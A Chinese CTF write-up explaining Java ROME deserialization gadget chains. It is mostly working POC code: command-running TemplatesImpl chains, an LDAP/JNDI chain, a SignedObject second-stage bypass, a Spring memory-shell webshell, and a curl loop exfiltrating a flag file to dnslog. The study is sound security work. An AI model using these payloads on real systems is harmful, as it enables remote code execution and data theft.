从Rome看二次反序列化

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ROME

ROME是一组Atom/RSS工具类，它用Java来操作大部份RSS。ROME可能是目前最完善的开源聚合工具，ROME支持绝大多数的RSS协议。

依赖

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

前置知识

ToStringBean

在Rome包中的com.sun.syndication.feed.impl.ToStringBean类中，提供了toString()方法，其中有两个toString()一个有参一个无参，先看下无参的

获取_obj属性的类名，并作为参数，传入有参toString()

而在有参方法中会执行三步操作

1、getPropertyDescriptors，获取_beanClass中的getter、setter方法，跟进看一下

其中会调用getPDs()

跟进getPDs()，又调用了其他有参构造获取了其中的getter、setter方法，之后将其合并赋给list属性pds，并将其转换为数组形式返回

2、获取pds返回值中的方法名和方法

3、反射调用该方法_obj类的该方法

触发_obj的所有getter方法，并且_obj和_beanClass在控制器中都可初始化赋值，这就可以想到CommonsBeanutils中的getOutputProperties，它会调用newtransform()，进而触发TemplatesImpl 利用链，那么现在的问题就是如何调用toString了

EqualsBean

在EqualsBean的beanHashCode()中调用了_obj的toString()方法，并且_obj可控，就可以直接调用到ToStringBean的toString()方法

因此就需要寻找哪里调用了beanHashCode()

除此外EqualsBean中还有个beanEquals()方法，同样调用了反射，这个后面再谈

ObjectBean

在ObeanBean的hashCode()中调用了_equalsBean的beanHashCode()方法，并且_equalsBean可控

这就可以联想到HashMap中的hashcode()方法

ObjectBean链

这条链是Rome反序列化的原型，由ysoserial 作者提出

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

构造一个恶意类

public class Evil extends AbstractTranslet {
    public Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {

        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
}

后续用到的工具类

public class Tools {
    public static byte[] getBytes(String byteName) throws NotFoundException, IOException, CannotCompileException {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(byteName);
        byte[] bytes = ctClass.toBytecode();
        return bytes;
    }
    public static void setFieldValue(Object o, String fieldName, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(o,value);
    }
    public static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    public static void unserialize(byte[] b) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bis = new ByteArrayInputStream(b);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
}

利用链构造

首先先构造Templatesimpl链，并将恶意类的字节码存入其中

byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后就是构造ToStringBean的toString()部分，可以通过构造器初始化两个属性的值

由于需要获取_beanClass类的getter、setter方法，也就是获取getOutputProperties()，因此就需要_beanClass是Templates的class类，而_obj由于需要进行反射调用，因此它必须是已经存入恶意字节码的Templates类，即：

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);

接着到EqualsBean部分，同样需要修改_obj的值，将其修改为ToStringBean类型，才能调用到对应的toString()

public int beanHashCode() {
    return _obj.toString().hashCode();
}

初始化EqualsBean

EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

因此这里只需要，将对应的obj修改为ToStringBean即可，即：

ObjectBean objectBean = new ObjectBean(Object.class, equalsBean);

这里的只用到了_obj，因此beanClass随意赋值一个类型即可

接着就是修改HashMap了，因为HashMap的readObject方法中调用了hash()的方法，继而调用了hashCode()

调用了hash()，接着调用了key的hashCode()，因此就需要构造key为ObjectBean类型，即：

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean objectBean = new ObjectBean(Object.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "1");

最后调用HashMap的readObject()方法成功执行反序列化

但需注意在我们使用HashMap的put()时，会调用hash() -> hashCode()，因此需要put时先传入无害数据，在通过反射来修改_equalsBean为恶意的。

POC：

public class Rome_ObjectBean {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});


        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(Object.class, "Sentiment");
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "1");
        setFieldValue(objectBean,"_equalsBean",equalsBean);
        byte[] serialize = serialize(hashMap);
        unserialize(serialize);
    }
}

除此外Hashtable的readObject()最终同样可以触发hashCode()，因此同样适用

POC：

public class Rome_ObjectBean {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(Object.class, "Sentiment");
        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean, "1");
        setFieldValue(objectBean,"_equalsBean",equalsBean);
        byte[] serialize = serialize(hashtable);
        unserialize(serialize);
    }
}

其他调用链

1、BadAttributeValueExpException

想到toString就一定能想到BadAttributeValueExpException的readobject()，它在最后调用了toString()方法，并且它的val属性我们可以通过反射修改，那就可以直接触发到ToStringBean中的此方法

POC:

public class Rome_BadAttributeValueExpException {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",toStringBean);
        byte[] serilize = serilize(badAttributeValueExpException);
        unserilize(serilize);
    }
}

2、HotSwappableTargetSource

在XString的equals()方法中，会调用obj2的toString()，假如构造obj2为ToStringBean类型就能RCE

因此现在就需要找哪里调用了equals()，并且其中的参数可控

再HotSwappableTargetSource中找到了equals()，并且参数是target，通过有参构造就能修改。

但需注意，这里equals()前后有两个target，这就需要构造两个HotSwappableTargetSource实例，左边为XString，右边为ToStringBean

继续寻找哪里调用equals()，这里还可以用HashMap的readObject()

POC：

public class Rome_HotSwappableTargetSource {
    public static void main(String[] args) throws Exception{
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1"));
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(hotSwappableTargetSource2,"1");
        hashMap.put(hotSwappableTargetSource1,"1");
        byte[] serialize = serialize(hashMap);
        unserialize(serialize);
    }
}

3、JdbcRowSetImpl链

在JdbcRowSetImpl的getDatabaseMetaData()会调用connect()，触发lookup()进行远程类加载

lookup()中参数可控，可通过对应的Setter方法进行赋值

接着由于getDatabaseMetaData()是以get开头，因此在ToStringBean的toString()，可通过循环反射调用，而触发方式仍然为HashMap调用hashCode()的方式

这里同样要注意put()时，会调用hashCode()，因此需要修改equalsBean的内容为无害数据，但构造后发现，EqualsBean的构造器再赋值前，会进行判断beanClass是否为obj的子类，否则会抛异常

因此直接将toStringBean初始化赋值进行修改即可，即：

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "Sentiment");

或者再初始化一个无害EqualsBean也可，之后再将对应的_obj用反射修改回来

setFieldValue(toStringBean,"_obj",jdbcRowSet);

开启本地服务

python -m http.server 7777

使用marshalsec构建LDAP服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Evil 9999

POC：

public class Rome_JdbcRowSetImpl {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://127.0.0.1:9999/Evil");

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "Sentiment");
        EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"1");
        setFieldValue(toStringBean,"_obj",jdbcRowSet);
        byte[] serialize = serialize(hashMap);
        unserialize(serialize);
    }
}

4、无ToStringBean链

前边的所有方式都用到了ToStringBean这条链，但若该类被加入了黑名单，则可用前边EqualsBean中提到的beanEquals()

该方法在EqualsBean的equals()中会调用，因此这里就需要找到哪里调用了equals()即可，这就联想到了CC7的调用链

Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()

在readObject中，elements的值为2，这就表示下方我们会循环调用两次reconstitutionPut()

先看第一次再for循环初始化时，会将tab[index]的值赋给e，而tab此时为空，所以就跳过了for循环，并在下方给tab赋值

第二次进入到了for中，但要求e.hash==hash，否则就不会执行equals

用CC7中的zZ、yy绕过即可，因为它俩的hash相等

map1.put("zZ",1);
map2.put("yy",1);

但这里还需要做一些修改，调用的是value的equals()，因此value要设置为EqualsBean类型，而equals()中的参数在beanEquals()中会判断是否为_beanClass的子类或子类实例，_beanClass根据前边的经验是Templates类型的，因此equals()中的参数也要是Templates类型

因此需要将上述提到的两个类存入map中

map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);

之后是EqualsBean初始化部分，若按以前配置方式应该为：

EqualsBean equalsBean = new EqualsBean(Templates.class, templates);

但这样设置后仍会在map的put()执行，而这里执行后会抛出异常结束进程，就导致了无法走到readObject的部分，因此同样先设置一个无害参数，在通过反射在最后修改回来

public class Rome_EqualsBean {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        EqualsBean equalsBean = new EqualsBean(Templates.class, templates);
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",equalsBean);
        map1.put("zZ",templates);
        map2.put("zZ",equalsBean);
        map2.put("yy",templates);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1,"1");
        hashtable.put(map2,"1");

        setFieldValue(equalsBean,"_beanClass",Templates.class);
        setFieldValue(equalsBean,"_obj",templates);
        byte[] serialize = serialize(hashtable);
        unserialize(serialize);
    }
}

HashMap同样适用

public class Rome_EqualsBean {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        EqualsBean equalsBean = new EqualsBean(String.class, "Sentiment");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",equalsBean);
        map1.put("zZ",templates);
        map2.put("zZ",equalsBean);
        map2.put("yy",templates);
        HashMap hashMap = new HashMap();
        hashMap.put(map1,"1");
        hashMap.put(map2,"1");

        setFieldValue(equalsBean,"_beanClass",Templates.class);
        setFieldValue(equalsBean,"_obj",templates);
        byte[] serialize = serialize(hashMap);
        unserialize(serialize);
    }
}

二次反序列化

二次反序列化，顾名思义，就是反序列化两次，其主要意义是绕过黑名单的限制或不出网利用，前不久在一场CTF中遇到了二次反序列化，借此简单了解下。

SignedObject

Rome二次反序列化主要源于java.security中的SignedObject类，它的构造器中就默认实现了序列化的功能

而它的getObject()又实现了反序列化，并且其中的参数content是通过构造器可控的

之后就可以构造恶意SignedObject，将之前的恶意hashMap存入SignedObject，对其触发序列化

byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
ObjectBean objectBean1 = new ObjectBean(Object.class, "Sentiment");

HashMap hashMap = new HashMap();
hashMap.put(objectBean1, "1");
setFieldValue(objectBean1,"_equalsBean",equalsBean1);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));

之后就是调用getObject方法触发反序列化执行命令了，思路跟前边一样，通过ToStringBean调用getter的机制触发即可

ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
ObjectBean objectBean2 = new ObjectBean(Object.class, "Sentiment");
HashMap hashMap1 = new HashMap();
hashMap1.put(objectBean2, "1");
setFieldValue(objectBean2,"_equalsBean",equalsBean2);

byte[] serialize = serialize(hashMap1);
unserialize(serialize);

POC：

public class Rome_SignedObject {
    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes("Rome.Evil");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});


        ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
        ObjectBean objectBean1 = new ObjectBean(Object.class, "Sentiment");


        HashMap hashMap = new HashMap();
        hashMap.put(objectBean1, "1");
        setFieldValue(objectBean1,"_equalsBean",equalsBean1);


        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));


        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
        ObjectBean objectBean2 = new ObjectBean(Object.class, "Sentiment");
        HashMap hashMap1 = new HashMap();
        hashMap1.put(objectBean2, "1");
        setFieldValue(objectBean2,"_equalsBean",equalsBean2);


        byte[] serialize = serialize(hashMap1);
        unserialize(serialize);
    }
}

CTF—JavaMonster

接着看下前两天遇到的Java题

主要分为三部分

1：获取Cookie中索引为1的值，并进行jwt解密，要求等于Boogipop，由于出题人已经给出了JWT脚本，因此修改下值即可

2：hashCode绕过，要求s不等于Try to solve EasyJava，但hashCode要等于Try to solve EasyJava

hashCode的逻辑是：

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

用个例子简单看下

//97
"a".hashCode()

//97*31+98=3105
"ab".hahsCode()

//3105*31+99=96354
"abc".hashCode()

ab的hashCode = ("a"的ascii码*31)+("b"的ascii码)，abc同理是"ab"*31 + "c"，按照此计算规则假设我将"ab"改为"bC"，那么它的hashcode = 98*31+67=3105，与ab相等

按此计算"USy to solve EasyJava".hashCode() == "Try to solve EasyJava".hashCode()，便可绕过这里

3：在进行反序列化前，执行了MyownObjectInputStream的一步操作

即使本地有Rome依赖，但基本都被加入了黑明单，这时看到了另一个类HDCTF，其中两个函数完成功能与SignedObject中的基本一致，所以直接考虑二次反序列化绕过黑名单

根据上边黑名单发现EqualsBean、ObjectBean没被ban，所以考虑外层反序列化的内容用无ToStringBean链，而Templates封装到第二层序列化中即可绕过

import com.ctf.easyjava.hdctf.HDCTF;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.EqualsBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.xml.transform.Templates;import java.util.Base64;import java.util.HashMap;import static com.ctf.easyjava.Tools.*;public class Rome_CTF {    public static void main(String[] args) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.makeClass("i");        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");        ctClass.setSuperclass(superClass);        CtConstructor constructor = ctClass.makeClassInitializer();        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");        byte[] bytes = ctClass.toBytecode();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_name", "Sentiment");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});        EqualsBean equalsBean1 = new EqualsBean(String.class, "Sentiment");        HashMap map1 = new HashMap();        HashMap map2 = new HashMap();        map1.put("yy",equalsBean1);        map1.put("zZ",templates);        map2.put("zZ",equalsBean1);        map2.put("yy",templates);        HashMap hashMap1 = new HashMap();        hashMap1.put(map1,"1");        hashMap1.put(map2,"1");        setFieldValue(equalsBean1,"_beanClass",Templates.class);        setFieldValue(equalsBean1,"_obj",templates);        HDCTF hdctf = new HDCTF(hashMap1);        EqualsBean equalsBean2 = new EqualsBean(String.class, "Sentiment");        HashMap map3 = new HashMap();        HashMap map4 = new HashMap();        map3.put("yy",equalsBean2);        map3.put("zZ",hdctf);        map4.put("zZ",equalsBean2);        map4.put("yy",hdctf);        HashMap hashMap2 = new HashMap();        hashMap2.put(map3,"1");        hashMap2.put(map4,"1");        setFieldValue(equalsBean2,"_beanClass",HDCTF.class);        setFieldValue(equalsBean2,"_obj",hdctf);        byte[] serialize = serialize(hashMap2);        String s = Base64.getEncoder().encodeToString(serialize);        System.out.println(s);    }}

传参本地测试成功

预期解

但这个题目设置了不出网，因此首先考虑打Spring内存马

package com.ctf.easyjava;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;


import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;


public class InjectToController extends AbstractTranslet {


    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                .options(config)
                .build();
        InjectToController springControllerMemShell = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {


    }


    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {


    }


    // 第二个构造函数
    public InjectToController(String aaa) {}


    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();


        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时，返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }


}

生成字节码文件后，将上边弹calc的代码换为

FileInputStream fis =new FileInputStream("D:\\InjectToController.class");
byte[] bytes = new byte[fis.available()];
fis.read(bytes);

重新传参，成功注入内存马

非预期

其实在最初能执行命令后，有测试过本题是否出网，可能是ngnix反代设置有问题，虽然不通vps，但测试中发现通过curl命令可以将信息外带到dnslog中，但这时又遇到了问题，dnslog回显信息中不支持换行和特殊字符，这就导致无法执行大部分命令。

于是请教了K0e1y师傅，他想到了通过循环外带的方式解决了这个问题

POC：

import com.ctf.easyjava.hdctf.HDCTF;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


import javax.xml.transform.Templates;


import java.util.Base64;
import java.util.HashMap;


import static com.ctf.easyjava.Tools.*;


public class Rome_CTF {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"cat /flag_is_is_here | while read line; do echo $line.iny9ev.dnslog.cn | xargs curl; done\"});");
        byte[] bytes = ctClass.toBytecode();


        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});


        EqualsBean equalsBean1 = new EqualsBean(String.class, "Sentiment");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",equalsBean1);
        map1.put("zZ",templates);
        map2.put("zZ",equalsBean1);
        map2.put("yy",templates);
        HashMap hashMap1 = new HashMap();
        hashMap1.put(map1,"1");
hashMap1.put(map2,"1");


        setFieldValue(equalsBean1,"_beanClass",Templates.class);
        setFieldValue(equalsBean1,"_obj",templates);


        HDCTF hdctf = new HDCTF(hashMap1);


        EqualsBean equalsBean2 = new EqualsBean(String.class, "Sentiment");
        HashMap map3 = new HashMap();
        HashMap map4 = new HashMap();
        map3.put("yy",equalsBean2);
        map3.put("zZ",hdctf);
        map4.put("zZ",equalsBean2);
        map4.put("yy",hdctf);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(map3,"1");
        hashMap2.put(map4,"1");


        setFieldValue(equalsBean2,"_beanClass",HDCTF.class);
        setFieldValue(equalsBean2,"_obj",hdctf);


        byte[] serialize = serialize(hashMap2);
        String s = Base64.getEncoder().encodeToString(serialize);
        System.out.println(s);
    }
}

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